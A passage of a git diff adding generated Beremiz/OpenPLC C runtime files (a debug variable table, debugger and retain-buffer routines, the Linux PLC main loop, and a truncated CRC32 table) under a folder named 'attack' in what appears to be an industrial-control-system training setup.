REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 